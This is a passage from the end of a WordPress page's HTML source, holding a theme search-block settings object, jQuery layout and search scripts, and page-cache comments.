text","f_tax_title_font_settings":"","f_tax_title_font_family":"","f_tax_title_font_size":"","f_tax_title_font_line_height":"","f_tax_title_font_style":"","f_tax_title_font_weight":"","f_tax_title_font_transform":"","f_tax_title_font_spacing":"","f_tax_title_":"","toggle_txt":"","toggle_txt_align":"0","toggle_txt_space":"","toggle_horiz_align":"content-horiz-left","form_offset":"","form_offset_left":"","form_content_width":"","form_align_screen":"","input_placeholder":"","placeholder_travel":"0","input_padding":"","input_radius":"","btn_text":"Search","btn_icon_align":"0","btn_margin":"","btn_border":"","btn_radius":"","results_msg_border":"","mc1_title_tag":"","mc1_el":"","open_in_new_window":"","m_padding":"","modules_border_size":"","modules_border_style":"","image_alignment":"50","image_radius":"","hide_image":"","show_vid_t":"block","vid_t_margin":"","vid_t_padding":"","vid_t_color":"","vid_t_bg_color":"","f_vid_time_font_header":"","f_vid_time_font_title":"Video duration text","f_vid_time_font_settings":"","f_vid_time_font_family":"","f_vid_time_font_size":"","f_vid_time_font_line_height":"","f_vid_time_font_style":"","f_vid_time_font_weight":"","f_vid_time_font_transform":"","f_vid_time_font_spacing":"","f_vid_time_":"","meta_info_align":"","meta_width":"","meta_margin":"","meta_info_border_size":"","meta_info_border_style":"","meta_info_border_color":"#eaeaea","art_btn":"","modules_category":"","modules_category_margin":"","modules_category_padding":"","modules_cat_border":"","modules_category_radius":"0","modules_extra_cat":"","author_photo":"","author_photo_size":"","author_photo_space":"","author_photo_radius":"","show_modified_date":"","time_ago":"","time_ago_add_txt":"ago","time_ago_txt_pos":"","review_space":"","review_size":"2.5","review_distance":"","art_excerpt":"","excerpt_col":"1","excerpt_gap":"","excerpt_middle":"","btn_title":"","btn_border_width":"","form_general_bg":"","icon_color_h":"","toggle_txt_color":"","toggle_txt_color_h":"","f_toggle_txt_font_header":"","f_toggle_txt_font_title":"Text","f_toggle_txt_font_settings":"","f_toggle_txt_font_family":"","f_toggle_txt_font_size":"","f_toggle_txt_font_line_height":"","f_toggle_txt_font_style":"","f_toggle_txt_font_weight":"","f_toggle_txt_font_transform":"","f_toggle_txt_font_spacing":"","f_toggle_txt_":"","form_bg":"","form_border_color":"","form_shadow_shadow_header":"","form_shadow_shadow_title":"Shadow","form_shadow_shadow_size":"","form_shadow_shadow_offset_horizontal":"","form_shadow_shadow_spread":"","form_shadow_shadow_color":"","input_color":"","placeholder_color":"","placeholder_opacity":"0","input_bg":"","input_border_color":"","input_shadow_shadow_header":"","input_shadow_shadow_title":"Input shadow","input_shadow_shadow_size":"","input_shadow_shadow_offset_horizontal":"","input_shadow_shadow_offset_vertical":"","input_shadow_shadow_spread":"","input_shadow_shadow_color":"","btn_icon_color":"","btn_icon_color_h":"","btn_border_color":"","btn_border_color_h":"","btn_shadow_shadow_header":"","btn_shadow_shadow_title":"Button shadow","btn_shadow_shadow_size":"","btn_shadow_shadow_offset_horizontal":"","btn_shadow_shadow_offset_vertical":"","btn_shadow_shadow_spread":"","btn_shadow_shadow_color":"","f_input_font_header":"","f_input_font_title":"Input text","f_input_font_settings":"","f_input_font_family":"","f_input_font_size":"","f_input_font_line_height":"","f_input_font_style":"","f_input_font_weight":"","f_input_font_transform":"","f_input_font_spacing":"","f_input_":"","f_placeholder_font_title":"Placeholder text","f_placeholder_font_settings":"","f_placeholder_font_family":"","f_placeholder_font_size":"","f_placeholder_font_line_height":"","f_placeholder_font_style":"","f_placeholder_font_weight":"","f_placeholder_font_transform":"","f_placeholder_font_spacing":"","f_placeholder_":"","f_btn_font_title":"Button text","f_btn_font_settings":"","f_btn_font_family":"","f_btn_font_size":"","f_btn_font_line_height":"","f_btn_font_style":"","f_btn_font_weight":"","f_btn_font_transform":"","f_btn_font_spacing":"","f_btn_":"","results_bg":"","results_border_color":"","results_msg_color":"","results_msg_bg":"","results_msg_border_color":"","f_results_msg_font_header":"","f_results_msg_font_title":"Text","f_results_msg_font_settings":"","f_results_msg_font_family":"","f_results_msg_font_size":"","f_results_msg_font_line_height":"","f_results_msg_font_weight":"","f_results_msg_font_transform":"","f_results_msg_font_spacing":"","f_results_msg_":"","m_bg":"","color_overlay":"","shadow_module_shadow_header":"","shadow_module_shadow_title":"Module Shadow","shadow_module_shadow_size":"","shadow_module_shadow_offset_horizontal":"","shadow_module_shadow_offset_vertical":"","shadow_module_shadow_spread":"","shadow_module_shadow_color":"","title_txt":"","all_underline_height":"","cat_bg":"","cat_bg_hover":"","cat_txt":"","cat_txt_hover":"","cat_border":"","cat_border_hover":"","meta_bg":"","author_txt":"","author_txt_hover":"","date_txt":"","ex_txt":"","com_bg":"","com_txt":"","rev_txt":"","shadow_meta_shadow_header":"","shadow_meta_shadow_title":"Meta info shadow","shadow_meta_shadow_size":"","shadow_meta_shadow_offset_horizontal":"","shadow_meta_shadow_offset_vertical":"","shadow_meta_shadow_spread":"","shadow_meta_shadow_color":"","btn_bg_hover":"","btn_txt":"","btn_txt_hover":"","btn_border_hover":"","f_title_font_header":"","f_title_font_title":"Article title","f_title_font_settings":"","f_title_font_style":"","f_title_font_spacing":"","f_title_":"","f_cat_font_title":"Article category tag","f_cat_font_settings":"","f_cat_font_size":"","f_cat_font_line_height":"","f_cat_font_style":"","f_cat_font_weight":"","f_cat_font_spacing":"","f_cat_":"","f_meta_font_title":"Article meta info","f_meta_font_settings":"","f_meta_font_family":"","f_meta_font_size":"","f_meta_font_line_height":"","f_meta_font_style":"","f_meta_font_transform":"","f_meta_font_spacing":"","f_meta_":"","f_ex_font_title":"Article excerpt","f_ex_font_settings":"","f_ex_font_family":"","f_ex_font_size":"","f_ex_font_line_height":"","f_ex_font_style":"","f_ex_font_weight":"","f_ex_font_transform":"","f_ex_font_spacing":"","f_ex_":"","el_class":"","block_template_id":"","td_column_number":3,"header_color":"","ajax_pagination_infinite_stop":"","offset":"","limit":"5","td_ajax_preloading":"","td_ajax_filter_type":"","td_filter_default_txt":"","td_ajax_filter_ids":"","color_preset":"","ajax_pagination":"","ajax_pagination_next_prev_swipe":"","border_top":"","css":"","class":"tdi_43","tdc_css_class":"tdi_43","tdc_css_class_style":"tdi_43_rand_style"}'; tdbSearchItem.jqueryObj = jQuery('.tdi_43'); tdbSearchItem._openSearchFormClass = 'tdb-drop-down-search-open'; tdbSearchItem._resultsLimit = '6'; tdbSearch.addItem( tdbSearchItem ); }); jQuery(window).on( 'load', function () { var block = jQuery('.tdi_63'), blockClass = '.tdi_63', blockInner = block.find('.tdb-block-inner'), blockOffsetLeft; if( block.find('audio').length > 0 ) { jQuery(blockClass + ' audio').mediaelementplayer(); } if( block.hasClass('tdb-sfi-stretch') ) { jQuery(window).resize(function () { blockOffsetLeft = block.offset().left; if( block.hasClass('tdb-sfi-stretch-left') ) { blockInner.css('margin-left', -blockOffsetLeft + 'px'); } else { blockInner.css('margin-right', -(jQuery(window).width() - (blockOffsetLeft + block.outerWidth())) + 'px'); } }); jQuery(window).resize(); } setTimeout(function () { block.css('opacity', 1); }, 500); }); </script> <script>var td_res_context_registered_atts=["style_general_mobile_menu","style_general_header_align","style_general_header_logo","style_general_mobile_search","style_general_header_date","style_general_mobile_horiz_menu","style_general_socials","style_general_header_menu","style_general_module_header","style_general_header_search","style_general_header_search_trigger_enabled","style_general_breadcrumbs","style_general_single_categories","style_general_single_title","style_general_title_single","style_bg_space","style_general_post_meta","style_general_single_author","style_general_single_date","style_general_comments_count","style_general_post_views","style_general_single_post_share","style_general_featured_image","style_general_single_content","style_general_separator","style_general_list_menu","style_specific_list_menu_vertical","style_specific_list_menu_accordion","style_specific_list_menu_horizontal","style_general_popular_categories","style_general_column_title","style_general_inline_text"];</script> </body> </html> <!-- Dynamic page generated in 0.736 seconds. --> <!-- Cached page generated by WP-Super-Cache on 2024-11-29 14:42:58 --> <!-- Compression = gzip -->

Pages: 1 2 3 4 5 6 7 8 9 10